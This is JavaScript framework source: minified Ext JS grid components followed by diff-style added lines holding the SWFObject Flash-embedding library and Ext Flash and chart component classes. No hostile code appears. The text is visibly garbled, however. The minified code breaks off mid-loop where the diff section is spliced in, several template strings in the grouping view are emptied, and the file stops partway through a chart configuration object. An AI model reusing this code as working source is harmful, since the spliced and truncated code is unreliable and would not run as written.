s.clearSelections(true)},getSelectedCell:function(){return this.selection?this.selection.cell:null},clearSelections:function(b){var a=this.selection;if(a){if(b!==true){this.grid.view.onCellDeselect(a.cell[0],a.cell[1])}this.selection=null;this.fireEvent("selectionchange",this,null)}},hasSelection:function(){return this.selection?true:false},handleMouseDown:function(b,d,a,c){if(c.button!==0||this.isLocked()){return}this.select(d,a)},select:function(g,c,b,e,d){if(this.fireEvent("beforecellselect",this,g,c)!==false){this.clearSelections();d=d||this.grid.store.getAt(g);this.selection={record:d,cell:[g,c]};if(!b){var a=this.grid.getView();a.onCellSelect(g,c);if(e!==true){a.focusCell(g,c)}}this.fireEvent("cellselect",this,g,c);this.fireEvent("selectionchange",this,this.selection)}},isSelectable:function(c,b,a){return !a.isHidden(b)},onEditorKey:function(b,a){if(a.getKey()==a.TAB){this.handleKeyDown(a)}},handleKeyDown:function(j){if(!j.isNavKeyPress()){return}var d=j.getKey(),i=this.grid,p=this.selection,b=this,m=function(g,c,e){return i.walkCells(g,c,e,i.isEditor&&i.editing?b.acceptsNav:b.isSelectable,b)},o,h,a,l,n;switch(d){case j.ESC:case j.PAGE_UP:case j.PAGE_DOWN:break;default:j.stopEvent();break}if(!p){o=m(0,0,1);if(o){this.select(o[0],o[1])}return}o=p.cell;a=o[0];l=o[1];switch(d){case j.TAB:if(j.shiftKey){h=m(a,l-1,-1)}else{h=m(a,l+1,1)}break;case j.DOWN:h=m(a+1,l,1);break;case j.UP:h=m(a-1,l,-1);break;case j.RIGHT:h=m(a,l+1,1);break;case j.LEFT:h=m(a,l-1,-1);break;case j.ENTER:if(i.isEditor&&!i.editing){i.startEditing(a,l);return}break}if(h){a=h[0];l=h[1];this.select(a,l);if(i.isEditor&&i.editing){n=i.activeEditor;if(n&&n.field.triggerBlur){n.field.triggerBlur()}i.startEditing(a,l)}}},acceptsNav:function(c,b,a){return !a.isHidden(b)&&a.isCellEditable(b,c)}});Ext.grid.EditorGridPanel=Ext.extend(Ext.grid.GridPanel,{clicksToEdit:2,forceValidation:false,isEditor:true,detectEdit:false,autoEncode:false,trackMouseOver:false,initComponent:function(){Ext.grid.EditorGridPanel.superclass.initComponent.call(this);if(!this.selModel){this.selModel=new Ext.grid.CellSelectionModel()}this.activeEditor=null;this.addEvents("beforeedit","afteredit","validateedit")},initEvents:function(){Ext.grid.EditorGridPanel.superclass.initEvents.call(this);this.getGridEl().on("mousewheel",this.stopEditing.createDelegate(this,[true]),this);this.on("columnresize",this.stopEditing,this,[true]);if(this.clicksToEdit==1){this.on("cellclick",this.onCellDblClick,this)}else{var a=this.getView();if(this.clicksToEdit=="auto"&&a.mainBody){a.mainBody.on("mousedown",this.onAutoEditClick,this)}this.on("celldblclick",this.onCellDblClick,this)}},onResize:function(){Ext.grid.EditorGridPanel.superclass.onResize.apply(this,arguments);var a=this.activeEditor;if(this.editing&&a){a.realign(true)}},onCellDblClick:function(b,c,a){this.startEditing(c,a)},onAutoEditClick:function(c,b){if(c.button!==0){return}var g=this.view.findRowIndex(b),a=this.view.findCellIndex(b);if(g!==false&&a!==false){this.stopEditing();if(this.selModel.getSelectedCell){var d=this.selModel.getSelectedCell();if(d&&d[0]===g&&d[1]===a){this.startEditing(g,a)}}else{if(this.selModel.isSelected(g)){this.startEditing(g,a)}}}},onEditComplete:function(b,d,a){this.editing=false;this.lastActiveEditor=this.activeEditor;this.activeEditor=null;var c=b.record,h=this.colModel.getDataIndex(b.col);d=this.postEditValue(d,a,c,h);if(this.forceValidation===true||String(d)!==String(a)){var g={grid:this,record:c,field:h,originalValue:a,value:d,row:b.row,column:b.col,cancel:false};if(this.fireEvent("validateedit",g)!==false&&!g.cancel&&String(d)!==String(a)){c.set(h,g.value);delete g.cancel;this.fireEvent("afteredit",g)}}this.view.focusCell(b.row,b.col)},startEditing:function(i,c){this.stopEditing();if(this.colModel.isCellEditable(c,i)){this.view.ensureVisible(i,c,true);var d=this.store.getAt(i),h=this.colModel.getDataIndex(c),g={grid:this,record:d,field:h,value:d.data[h],row:i,column:c,cancel:false};if(this.fireEvent("beforeedit",g)!==false&&!g.cancel){this.editing=true;var b=this.colModel.getCellEditor(c,i);if(!b){return}if(!b.rendered){b.parentEl=this.view.getEditorParent(b);b.on({scope:this,render:{fn:function(e){e.field.focus(false,true)},single:true,scope:this},specialkey:function(k,j){this.getSelectionModel().onEditorKey(k,j)},complete:this.onEditComplete,canceledit:this.stopEditing.createDelegate(this,[true])})}Ext.apply(b,{row:i,col:c,record:d});this.lastEdit={row:i,col:c};this.activeEditor=b;b.selectSameEditor=(this.activeEditor==this.lastActiveEditor);var a=this.preEditValue(d,h);b.startEdit(this.view.getCell(i,c).firstChild,Ext.isDefined(a)?a:"");(function(){delete b.selectSameEditor}).defer(50)}}},preEditValue:function(a,c){var b=a.data[c];return this.autoEncode&&Ext.isString(b)?Ext.util.Format.htmlDecode(b):b},postEditValue:function(c,a,b,d){return this.autoEncode&&Ext.isString(c)?Ext.util.Format.htmlEncode(c):c},stopEditing:function(b){if(this.editing){var a=this.lastActiveEditor=this.activeEditor;if(a){a[b===true?"cancelEdit":"completeEdit"]();this.view.focusCell(a.row,a.col)}this.activeEditor=null}this.editing=false}});Ext.reg("editorgrid",Ext.grid.EditorGridPanel);Ext.grid.GridEditor=function(b,a){Ext.grid.GridEditor.superclass.constructor.call(this,b,a);b.monitorTab=false};Ext.extend(Ext.grid.GridEditor,Ext.Editor,{alignment:"tl-tl",autoSize:"width",hideEl:false,cls:"x-small-editor x-grid-editor",shim:false,shadow:false});Ext.grid.PropertyRecord=Ext.data.Record.create([{name:"name",type:"string"},"value"]);Ext.grid.PropertyStore=Ext.extend(Ext.util.Observable,{constructor:function(a,b){this.grid=a;this.store=new Ext.data.Store({recordType:Ext.grid.PropertyRecord});this.store.on("update",this.onUpdate,this);if(b){this.setSource(b)}Ext.grid.PropertyStore.superclass.constructor.call(this)},setSource:function(c){this.source=c;this.store.removeAll();var b=[];for(var a in c){if(this.isEditableValue(c[a])){b.push(new Ext.grid.PropertyRecord({name:a,value:c[a]},a))}}this.store.loadRecords({records:b},{},true)},onUpdate:function(e,a,d){if(d==Ext.data.Record.EDIT){var b=a.data.value;var c=a.modified.value;if(this.grid.fireEvent("beforepropertychange",this.source,a.id,b,c)!==false){this.source[a.id]=b;a.commit();this.grid.fireEvent("propertychange",this.source,a.id,b,c)}else{a.reject()}}},getProperty:function(a){return this.store.getAt(a)},isEditableValue:function(a){return Ext.isPrimitive(a)||Ext.isDate(a)},setValue:function(d,c,a){var b=this.getRec(d);if(b){b.set("value",c);this.source[d]=c}else{if(a){this.source[d]=c;b=new Ext.grid.PropertyRecord({name:d,value:c},d);this.store.add(b)}}},remove:function(b){var a=this.getRec(b);if(a){this.store.remove(a);delete this.source[b]}},getRec:function(a){return this.store.getById(a)},getSource:function(){return this.source}});Ext.grid.PropertyColumnModel=Ext.extend(Ext.grid.ColumnModel,{nameText:"Name",valueText:"Value",dateFormat:"m/j/Y",trueText:"true",falseText:"false",constructor:function(c,b){var d=Ext.grid,e=Ext.form;this.grid=c;d.PropertyColumnModel.superclass.constructor.call(this,[{header:this.nameText,width:50,sortable:true,dataIndex:"name",id:"name",menuDisabled:true},{header:this.valueText,width:50,resizable:false,dataIndex:"value",id:"value",menuDisabled:true}]);this.store=b;var a=new e.Field({autoCreate:{tag:"select",children:[{tag:"option",value:"true",html:this.trueText},{tag:"option",value:"false",html:this.falseText}]},getValue:function(){return this.el.dom.value=="true"}});this.editors={date:new d.GridEditor(new e.DateField({selectOnFocus:true})),string:new d.GridEditor(new e.TextField({selectOnFocus:true})),number:new d.GridEditor(new e.NumberField({selectOnFocus:true,style:"text-align:left;"})),"boolean":new d.GridEditor(a,{autoSize:"both"})};this.renderCellDelegate=this.renderCell.createDelegate(this);this.renderPropDelegate=this.renderProp.createDelegate(this)},renderDate:function(a){return a.dateFormat(this.dateFormat)},renderBool:function(a){return this[a?"trueText":"falseText"]},isCellEditable:function(a,b){return a==1},getRenderer:function(a){return a==1?this.renderCellDelegate:this.renderPropDelegate},renderProp:function(a){return this.getPropertyName(a)},renderCell:function(d,b,c){var a=this.grid.customRenderers[c.get("name")];if(a){return a.apply(this,arguments)}var e=d;if(Ext.isDate(d)){e=this.renderDate(d)}else{if(typeof d=="boolean"){e=this.renderBool(d)}}return Ext.util.Format.htmlEncode(e)},getPropertyName:function(b){var a=this.grid.propertyNames;return a&&a[b]?a[b]:b},getCellEditor:function(a,e){var b=this.store.getProperty(e),d=b.data.name,c=b.data.value;if(this.grid.customEditors[d]){return this.grid.customEditors[d]}if(Ext.isDate(c)){return this.editors.date}else{if(typeof c=="number"){return this.editors.number}else{if(typeof c=="boolean"){return this.editors["boolean"]}else{return this.editors.string}}}},destroy:function(){Ext.grid.PropertyColumnModel.superclass.destroy.call(this);this.destroyEditors(this.editors);this.destroyEditors(this.grid.customEditors)},destroyEditors:function(b){for(var a in b){Ext.destroy(b[a])}}});Ext.grid.PropertyGrid=Ext.extend(Ext.grid.EditorGridPanel,{enableColumnMove:false,stripeRows:false,trackMouseOver:false,clicksToEdit:1,enableHdMenu:false,viewConfig:{forceFit:true},initComponent:function(){this.customRenderers=this.customRenderers||{};this.customEditors=this.customEditors||{};this.lastEditRow=null;var b=new Ext.grid.PropertyStore(this);this.propStore=b;var a=new Ext.grid.PropertyColumnModel(this,b);b.store.sort("name","ASC");this.addEvents("beforepropertychange","propertychange");this.cm=a;this.ds=b.store;Ext.grid.PropertyGrid.superclass.initComponent.call(this);this.mon(this.selModel,"beforecellselect",function(e,d,c){if(c===0){this.startEditing.defer(200,this,[d,1]);return false}},this)},onRender:function(){Ext.grid.PropertyGrid.superclass.onRender.apply(this,arguments);this.getGridEl().addClass("x-props-grid")},afterRender:function(){Ext.grid.PropertyGrid.superclass.afterRender.apply(this,arguments);if(this.source){this.setSource(this.source)}},setSource:function(a){this.propStore.setSource(a)},getSource:function(){return this.propStore.getSource()},setProperty:function(c,b,a){this.propStore.setValue(c,b,a)},removeProperty:function(a){this.propStore.remove(a)}});Ext.reg("propertygrid",Ext.grid.PropertyGrid);Ext.grid.GroupingView=Ext.extend(Ext.grid.GridView,{groupByText:"Group By This Field",showGroupsText:"Show in Groups",hideGroupedColumn:false,showGroupName:true,startCollapsed:false,enableGrouping:true,enableGroupingMenu:true,enableNoGroups:true,emptyGroupText:"(None)",ignoreAdd:false,groupTextTpl:"{text}",groupMode:"value",cancelEditOnToggle:true,initTemplates:function(){Ext.grid.GroupingView.superclass.initTemplates.call(this);this.state={};var a=this.grid.getSelectionModel();a.on(a.selectRow?"beforerowselect":"beforecellselect",this.onBeforeRowSelect,this);if(!this.startGroup){this.startGroup=new Ext.XTemplate('
    ','
    ',this.groupTextTpl,"
    ",'
    ')}this.startGroup.compile();if(!this.endGroup){this.endGroup="
    "}},findGroup:function(a){return Ext.fly(a).up(".x-grid-group",this.mainBody.dom)},getGroups:function(){return this.hasRows()?this.mainBody.dom.childNodes:[]},onAdd:function(d,a,b){if(this.canGroup()&&!this.ignoreAdd){var c=this.getScrollState();this.fireEvent("beforerowsinserted",d,b,b+(a.length-1));this.refresh();this.restoreScroll(c);this.fireEvent("rowsinserted",d,b,b+(a.length-1))}else{if(!this.canGroup()){Ext.grid.GroupingView.superclass.onAdd.apply(this,arguments)}}},onRemove:function(e,a,b,d){Ext.grid.GroupingView.superclass.onRemove.apply(this,arguments);var c=document.getElementById(a._groupId);if(c&&c.childNodes[1].childNodes.length<1){Ext.removeNode(c)}this.applyEmptyText()},refreshRow:function(a){if(this.ds.getCount()==1){this.refresh()}else{this.isUpdating=true;Ext.grid.GroupingView.superclass.refreshRow.apply(this,arguments);this.isUpdating=false}},beforeMenuShow:function(){var c,a=this.hmenu.items,b=this.cm.config[this.hdCtxIndex].groupable===false;if((c=a.get("groupBy"))){c.setDisabled(b)}if((c=a.get("showGroups"))){c.setDisabled(b);c.setChecked(this.canGroup(),true)}},renderUI:function(){var a=Ext.grid.GroupingView.superclass.renderUI.call(this);if(this.enableGroupingMenu&&this.hmenu){this.hmenu.add("-",{itemId:"groupBy",text:this.groupByText,handler:this.onGroupByClick,scope:this,iconCls:"x-group-by-icon"});if(this.enableNoGroups){this.hmenu.add({itemId:"showGroups",text:this.showGroupsText,checked:true,checkHandler:this.onShowGroupsClick,scope:this})}this.hmenu.on("beforeshow",this.beforeMenuShow,this)}return a},processEvent:function(b,i){Ext.grid.GroupingView.superclass.processEvent.call(this,b,i);var h=i.getTarget(".x-grid-group-hd",this.mainBody);if(h){var g=this.getGroupField(),d=this.getPrefix(g),a=h.id.substring(d.length),c=new RegExp("gp-"+Ext.escapeRe(g)+"--hd");a=a.substr(0,a.length-3);if(a||c.test(h.id)){this.grid.fireEvent("group"+b,this.grid,g,a,i)}if(b=="mousedown"&&i.button==0){this.toggleGroup(h.parentNode)}}},onGroupByClick:function(){var a=this.grid;this.enableGrouping=true;a.store.groupBy(this.cm.getDataIndex(this.hdCtxIndex));a.fireEvent("groupchange",a,a.store.getGroupState());this.beforeMenuShow();this.refresh()},onShowGroupsClick:function(a,b){this.enableGrouping=b;if(b){this.onGroupByClick()}else{this.grid.store.clearGrouping();this.grid.fireEvent("groupchange",this,null)}},toggleRowIndex:function(c,a){if(!this.canGroup()){return}var b=this.getRow(c);if(b){this.toggleGroup(this.findGroup(b),a)}},toggleGroup:function(c,b){var a=Ext.get(c),d=Ext.util.Format.htmlEncode(a.id);b=Ext.isDefined(b)?b:a.hasClass("x-grid-group-collapsed");if(this.state[d]!==b){if(this.cancelEditOnToggle!==false){this.grid.stopEditing(true)}this.state[d]=b;a[b?"removeClass":"addClass"]("x-grid-group-collapsed")}},toggleAllGroups:function(c){var b=this.getGroups();for(var d=0,a=b.length;d + */ +var swfobject = function () { + var E = "undefined", s = "object", T = "Shockwave Flash", X = "ShockwaveFlash.ShockwaveFlash", r = "application/x-shockwave-flash", S = "SWFObjectExprInst", y = "onreadystatechange", P = window, k = document, u = navigator, U = false, V = [i], p = [], O = [], J = [], m, R, F, C, K = false, a = false, o, H, n = true, N = function () { + var ab = typeof k.getElementById != E && typeof k.getElementsByTagName != E && typeof k.createElement != E, ai = u.userAgent.toLowerCase(), Z = u.platform.toLowerCase(), af = Z ? (/win/).test(Z) : /win/.test(ai), ad = Z ? (/mac/).test(Z) : /mac/.test(ai), ag = /webkit/.test(ai) ? parseFloat(ai.replace(/^.*webkit\/(\d+(\.\d+)?).*$/, "$1")) : false, Y = !+"\v1", ah = [0, 0, 0], ac = null; + if (typeof u.plugins != E && typeof u.plugins[T] == s) { + ac = u.plugins[T].description; + if (ac && !(typeof u.mimeTypes != E && u.mimeTypes[r] && !u.mimeTypes[r].enabledPlugin)) { + U = true; + Y = false; + ac = ac.replace(/^.*\s+(\S+\s+\S+$)/, "$1"); + ah[0] = parseInt(ac.replace(/^(.*)\..*$/, "$1"), 10); + ah[1] = parseInt(ac.replace(/^.*\.(.*)\s.*$/, "$1"), 10); + ah[2] = /[a-zA-Z]/.test(ac) ? parseInt(ac.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0 + } + } else { + if (typeof P.ActiveXObject != E) { + try { + var ae = new ActiveXObject(X); + if (ae) { + ac = ae.GetVariable("$version"); + if (ac) { + Y = true; + ac = ac.split(" ")[1].split(","); + ah = [parseInt(ac[0], 10), parseInt(ac[1], 10), parseInt(ac[2], 10)] + } + } + } catch (aa) { + } + } + } + return{w3:ab, pv:ah, wk:ag, ie:Y, win:af, mac:ad} + }(), l = function () { + if (!N.w3) { + return + } + if ((typeof k.readyState != E && k.readyState == "complete") || (typeof k.readyState == E && (k.getElementsByTagName("body")[0] || k.body))) { + g() + } + if (!K) { + if (typeof k.addEventListener != E) { + k.addEventListener("DOMContentLoaded", g, false) + } + if (N.ie && N.win) { + k.attachEvent(y, function () { + if (k.readyState == "complete") { + k.detachEvent(y, arguments.callee); + g() + } + }); + if (P == top) { + (function () { + if (K) { + return + } + try { + k.documentElement.doScroll("left") + } catch (Y) { + setTimeout(arguments.callee, 0); + return + } + g() + })() + } + } + if (N.wk) { + (function () { + if (K) { + return + } + if (!(/loaded|complete/).test(k.readyState)) { + setTimeout(arguments.callee, 0); + return + } + g() + })() + } + t(g) + } + }(); + + function g() { + if (K) { + return + } + try { + var aa = k.getElementsByTagName("body")[0].appendChild(D("span")); + aa.parentNode.removeChild(aa) + } catch (ab) { + return + } + K = true; + var Y = V.length; + for (var Z = 0; Z < Y; Z++) { + V[Z]() + } + } + + function L(Y) { + if (K) { + Y() + } else { + V[V.length] = Y + } + } + + function t(Z) { + if (typeof P.addEventListener != E) { + P.addEventListener("load", Z, false) + } else { + if (typeof k.addEventListener != E) { + k.addEventListener("load", Z, false) + } else { + if (typeof P.attachEvent != E) { + j(P, "onload", Z) + } else { + if (typeof P.onload == "function") { + var Y = P.onload; + P.onload = function () { + Y(); + Z() + } + } else { + P.onload = Z + } + } + } + } + } + + function i() { + if (U) { + W() + } else { + I() + } + } + + function W() { + var Y = k.getElementsByTagName("body")[0]; + var ab = D(s); + ab.setAttribute("type", r); + var aa = Y.appendChild(ab); + if (aa) { + var Z = 0; + (function () { + if (typeof aa.GetVariable != E) { + var ac = aa.GetVariable("$version"); + if (ac) { + ac = ac.split(" ")[1].split(","); + N.pv = [parseInt(ac[0], 10), parseInt(ac[1], 10), parseInt(ac[2], 10)] + } + } else { + if (Z < 10) { + Z++; + setTimeout(arguments.callee, 10); + return + } + } + Y.removeChild(ab); + aa = null; + I() + })() + } else { + I() + } + } + + function I() { + var ah = p.length; + if (ah > 0) { + for (var ag = 0; ag < ah; ag++) { + var Z = p[ag].id; + var ac = p[ag].callbackFn; + var ab = {success:false, id:Z}; + if (N.pv[0] > 0) { + var af = c(Z); + if (af) { + if (G(p[ag].swfVersion) && !(N.wk && N.wk < 312)) { + x(Z, true); + if (ac) { + ab.success = true; + ab.ref = A(Z); + ac(ab) + } + } else { + if (p[ag].expressInstall && B()) { + var aj = {}; + aj.data = p[ag].expressInstall; + aj.width = af.getAttribute("width") || "0"; + aj.height = af.getAttribute("height") || "0"; + if (af.getAttribute("class")) { + aj.styleclass = af.getAttribute("class") + } + if (af.getAttribute("align")) { + aj.align = af.getAttribute("align") + } + var ai = {}; + var Y = af.getElementsByTagName("param"); + var ad = Y.length; + for (var ae = 0; ae < ad; ae++) { + if (Y[ae].getAttribute("name").toLowerCase() != "movie") { + ai[Y[ae].getAttribute("name")] = Y[ae].getAttribute("value") + } + } + Q(aj, ai, Z, ac) + } else { + q(af); + if (ac) { + ac(ab) + } + } + } + } + } else { + x(Z, true); + if (ac) { + var aa = A(Z); + if (aa && typeof aa.SetVariable != E) { + ab.success = true; + ab.ref = aa + } + ac(ab) + } + } + } + } + } + + function A(ab) { + var Y = null; + var Z = c(ab); + if (Z && Z.nodeName == "OBJECT") { + if (typeof Z.SetVariable != E) { + Y = Z + } else { + var aa = Z.getElementsByTagName(s)[0]; + if (aa) { + Y = aa + } + } + } + return Y + } + + function B() { + return !a && G("6.0.65") && (N.win || N.mac) && !(N.wk && N.wk < 312) + } + + function Q(ab, ac, Y, aa) { + a = true; + F = aa || null; + C = {success:false, id:Y}; + var af = c(Y); + if (af) { + if (af.nodeName == "OBJECT") { + m = h(af); + R = null + } else { + m = af; + R = Y + } + ab.id = S; + if (typeof ab.width == E || (!(/%$/).test(ab.width) && parseInt(ab.width, 10) < 310)) { + ab.width = "310" + } + if (typeof ab.height == E || (!(/%$/).test(ab.height) && parseInt(ab.height, 10) < 137)) { + ab.height = "137" + } + k.title = k.title.slice(0, 47) + " - Flash Player Installation"; + var ae = N.ie && N.win ? "ActiveX" : "PlugIn", ad = "MMredirectURL=" + P.location.toString().replace(/&/g, "%26") + "&MMplayerType=" + ae + "&MMdoctitle=" + k.title; + if (typeof ac.flashvars != E) { + ac.flashvars += "&" + ad + } else { + ac.flashvars = ad + } + if (N.ie && N.win && af.readyState != 4) { + var Z = D("div"); + Y += "SWFObjectNew"; + Z.setAttribute("id", Y); + af.parentNode.insertBefore(Z, af); + af.style.display = "none"; + (function () { + if (af.readyState == 4) { + af.parentNode.removeChild(af) + } else { + setTimeout(arguments.callee, 10) + } + })() + } + v(ab, ac, Y) + } + } + + function q(Z) { + if (N.ie && N.win && Z.readyState != 4) { + var Y = D("div"); + Z.parentNode.insertBefore(Y, Z); + Y.parentNode.replaceChild(h(Z), Y); + Z.style.display = "none"; + (function () { + if (Z.readyState == 4) { + Z.parentNode.removeChild(Z) + } else { + setTimeout(arguments.callee, 10) + } + })() + } else { + Z.parentNode.replaceChild(h(Z), Z) + } + } + + function h(ad) { + var ab = D("div"); + if (N.win && N.ie) { + ab.innerHTML = ad.innerHTML + } else { + var Z = ad.getElementsByTagName(s)[0]; + if (Z) { + var ae = Z.childNodes; + if (ae) { + var Y = ae.length; + for (var aa = 0; aa < Y; aa++) { + if (!(ae[aa].nodeType == 1 && ae[aa].nodeName == "PARAM") && !(ae[aa].nodeType == 8)) { + ab.appendChild(ae[aa].cloneNode(true)) + } + } + } + } + } + return ab + } + + function v(aj, ah, Z) { + var Y, ab = c(Z); + if (N.wk && N.wk < 312) { + return Y + } + if (ab) { + if (typeof aj.id == E) { + aj.id = Z + } + if (N.ie && N.win) { + var ai = ""; + for (var af in aj) { + if (aj[af] != Object.prototype[af]) { + if (af.toLowerCase() == "data") { + ah.movie = aj[af] + } else { + if (af.toLowerCase() == "styleclass") { + ai += ' class="' + aj[af] + '"' + } else { + if (af.toLowerCase() != "classid") { + ai += " " + af + '="' + aj[af] + '"' + } + } + } + } + } + var ag = ""; + for (var ae in ah) { + if (ah[ae] != Object.prototype[ae]) { + ag += '' + } + } + ab.outerHTML = '" + ag + ""; + O[O.length] = aj.id; + Y = c(aj.id) + } else { + var aa = D(s); + aa.setAttribute("type", r); + for (var ad in aj) { + if (aj[ad] != Object.prototype[ad]) { + if (ad.toLowerCase() == "styleclass") { + aa.setAttribute("class", aj[ad]) + } else { + if (ad.toLowerCase() != "classid") { + aa.setAttribute(ad, aj[ad]) + } + } + } + } + for (var ac in ah) { + if (ah[ac] != Object.prototype[ac] && ac.toLowerCase() != "movie") { + e(aa, ac, ah[ac]) + } + } + ab.parentNode.replaceChild(aa, ab); + Y = aa + } + } + return Y + } + + function e(aa, Y, Z) { + var ab = D("param"); + ab.setAttribute("name", Y); + ab.setAttribute("value", Z); + aa.appendChild(ab) + } + + function z(Z) { + var Y = c(Z); + if (Y && Y.nodeName == "OBJECT") { + if (N.ie && N.win) { + Y.style.display = "none"; + (function () { + if (Y.readyState == 4) { + b(Z) + } else { + setTimeout(arguments.callee, 10) + } + })() + } else { + Y.parentNode.removeChild(Y) + } + } + } + + function b(aa) { + var Z = c(aa); + if (Z) { + for (var Y in Z) { + if (typeof Z[Y] == "function") { + Z[Y] = null + } + } + Z.parentNode.removeChild(Z) + } + } + + function c(aa) { + var Y = null; + try { + Y = k.getElementById(aa) + } catch (Z) { + } + return Y + } + + function D(Y) { + return k.createElement(Y) + } + + function j(aa, Y, Z) { + aa.attachEvent(Y, Z); + J[J.length] = [aa, Y, Z] + } + + function G(aa) { + var Z = N.pv, Y = aa.split("."); + Y[0] = parseInt(Y[0], 10); + Y[1] = parseInt(Y[1], 10) || 0; + Y[2] = parseInt(Y[2], 10) || 0; + return(Z[0] > Y[0] || (Z[0] == Y[0] && Z[1] > Y[1]) || (Z[0] == Y[0] && Z[1] == Y[1] && Z[2] >= Y[2])) ? true : false + } + + function w(ad, Z, ae, ac) { + if (N.ie && N.mac) { + return + } + var ab = k.getElementsByTagName("head")[0]; + if (!ab) { + return + } + var Y = (ae && typeof ae == "string") ? ae : "screen"; + if (ac) { + o = null; + H = null + } + if (!o || H != Y) { + var aa = D("style"); + aa.setAttribute("type", "text/css"); + aa.setAttribute("media", Y); + o = ab.appendChild(aa); + if (N.ie && N.win && typeof k.styleSheets != E && k.styleSheets.length > 0) { + o = k.styleSheets[k.styleSheets.length - 1] + } + H = Y + } + if (N.ie && N.win) { + if (o && typeof o.addRule == s) { + o.addRule(ad, Z) + } + } else { + if (o && typeof k.createTextNode != E) { + o.appendChild(k.createTextNode(ad + " {" + Z + "}")) + } + } + } + + function x(aa, Y) { + if (!n) { + return + } + var Z = Y ? "visible" : "hidden"; + if (K && c(aa)) { + c(aa).style.visibility = Z + } else { + w("#" + aa, "visibility:" + Z) + } + } + + function M(Z) { + var aa = /[\\\"<>\.;]/; + var Y = aa.exec(Z) != null; + return Y && typeof encodeURIComponent != E ? encodeURIComponent(Z) : Z + } + + var d = function () { + if (N.ie && N.win) { + window.attachEvent("onunload", function () { + var ad = J.length; + for (var ac = 0; ac < ad; ac++) { + J[ac][0].detachEvent(J[ac][1], J[ac][2]) + } + var aa = O.length; + for (var ab = 0; ab < aa; ab++) { + z(O[ab]) + } + for (var Z in N) { + N[Z] = null + } + N = null; + for (var Y in swfobject) { + swfobject[Y] = null + } + swfobject = null; + window.detachEvent("onunload", arguments.callee) + }) + } + }(); + return{registerObject:function (ac, Y, ab, aa) { + if (N.w3 && ac && Y) { + var Z = {}; + Z.id = ac; + Z.swfVersion = Y; + Z.expressInstall = ab; + Z.callbackFn = aa; + p[p.length] = Z; + x(ac, false) + } else { + if (aa) { + aa({success:false, id:ac}) + } + } + }, getObjectById:function (Y) { + if (N.w3) { + return A(Y) + } + }, embedSWF:function (ac, ai, af, ah, Z, ab, aa, ae, ag, ad) { + var Y = {success:false, id:ai}; + if (N.w3 && !(N.wk && N.wk < 312) && ac && ai && af && ah && Z) { + x(ai, false); + L(function () { + af += ""; + ah += ""; + var ak = {}; + if (ag && typeof ag === s) { + for (var am in ag) { + ak[am] = ag[am] + } + } + ak.data = ac; + ak.width = af; + ak.height = ah; + var an = {}; + if (ae && typeof ae === s) { + for (var al in ae) { + an[al] = ae[al] + } + } + if (aa && typeof aa === s) { + for (var aj in aa) { + if (typeof an.flashvars != E) { + an.flashvars += "&" + aj + "=" + aa[aj] + } else { + an.flashvars = aj + "=" + aa[aj] + } + } + } + if (G(Z)) { + var ao = v(ak, an, ai); + if (ak.id == ai) { + x(ai, true) + } + Y.success = true; + Y.ref = ao + } else { + if (ab && B()) { + ak.data = ab; + Q(ak, an, ai, ad); + return + } else { + x(ai, true) + } + } + if (ad) { + ad(Y) + } + }) + } else { + if (ad) { + ad(Y) + } + } + }, switchOffAutoHideShow:function () { + n = false + }, ua:N, getFlashPlayerVersion:function () { + return{major:N.pv[0], minor:N.pv[1], release:N.pv[2]} + }, hasFlashPlayerVersion:G, createSWF:function (aa, Z, Y) { + if (N.w3) { + return v(aa, Z, Y) + } else { + return undefined + } + }, showExpressInstall:function (aa, ab, Y, Z) { + if (N.w3 && B()) { + Q(aa, ab, Y, Z) + } + }, removeSWF:function (Y) { + if (N.w3) { + z(Y) + } + }, createCSS:function (ab, aa, Z, Y) { + if (N.w3) { + w(ab, aa, Z, Y) + } + }, addDomLoadEvent:L, addLoadEvent:t, getQueryParamValue:function (ab) { + var aa = k.location.search || k.location.hash; + if (aa) { + if (/\?/.test(aa)) { + aa = aa.split("?")[1] + } + if (ab == null) { + return M(aa) + } + var Z = aa.split("&"); + for (var Y = 0; Y < Z.length; Y++) { + if (Z[Y].substring(0, Z[Y].indexOf("=")) == ab) { + return M(Z[Y].substring((Z[Y].indexOf("=") + 1))) + } + } + } + return"" + }, expressInstallCallback:function () { + if (a) { + var Y = c(S); + if (Y && m) { + Y.parentNode.replaceChild(m, Y); + if (R) { + x(R, true); + if (N.ie && N.win) { + m.style.display = "block" + } + } + if (F) { + F(C) + } + } + a = false + } + }} +}(); +Ext.FlashComponent = Ext.extend(Ext.BoxComponent, {flashVersion:"9.0.115", backgroundColor:"#ffffff", wmode:"opaque", flashVars:undefined, flashParams:undefined, url:undefined, swfId:undefined, swfWidth:"100%", swfHeight:"100%", expressInstall:false, initComponent:function () { + Ext.FlashComponent.superclass.initComponent.call(this); + this.addEvents("initialize") +}, onRender:function () { + Ext.FlashComponent.superclass.onRender.apply(this, arguments); + var b = Ext.apply({allowScriptAccess:"always", bgcolor:this.backgroundColor, wmode:this.wmode}, this.flashParams), a = Ext.apply({allowedDomain:document.location.hostname, YUISwfId:this.getId(), YUIBridgeCallback:"Ext.FlashEventProxy.onEvent"}, this.flashVars); + new swfobject.embedSWF(this.url, this.id, this.swfWidth, this.swfHeight, this.flashVersion, this.expressInstall ? Ext.FlashComponent.EXPRESS_INSTALL_URL : undefined, a, b); + this.swf = Ext.getDom(this.id); + this.el = Ext.get(this.swf) +}, getSwfId:function () { + return this.swfId || (this.swfId = "extswf" + (++Ext.Component.AUTO_ID)) +}, getId:function () { + return this.id || (this.id = "extflashcmp" + (++Ext.Component.AUTO_ID)) +}, onFlashEvent:function (a) { + switch (a.type) { + case"swfReady": + this.initSwf(); + return; + case"log": + return + } + a.component = this; + this.fireEvent(a.type.toLowerCase().replace(/event$/, ""), a) +}, initSwf:function () { + this.onSwfReady(!!this.isInitialized); + this.isInitialized = true; + this.fireEvent("initialize", this) +}, beforeDestroy:function () { + if (this.rendered) { + swfobject.removeSWF(this.swf.id) + } + Ext.FlashComponent.superclass.beforeDestroy.call(this) +}, onSwfReady:Ext.emptyFn}); +Ext.FlashComponent.EXPRESS_INSTALL_URL = "http://swfobject.googlecode.com/svn/trunk/swfobject/expressInstall.swf"; +Ext.reg("flash", Ext.FlashComponent); +Ext.FlashEventProxy = {onEvent:function (c, b) { + var a = Ext.getCmp(c); + if (a) { + a.onFlashEvent(b) + } else { + arguments.callee.defer(10, this, [c, b]) + } +}}; +Ext.chart.Chart = Ext.extend(Ext.FlashComponent, {refreshBuffer:100, chartStyle:{padding:10, animationEnabled:true, font:{name:"Tahoma", color:4473924, 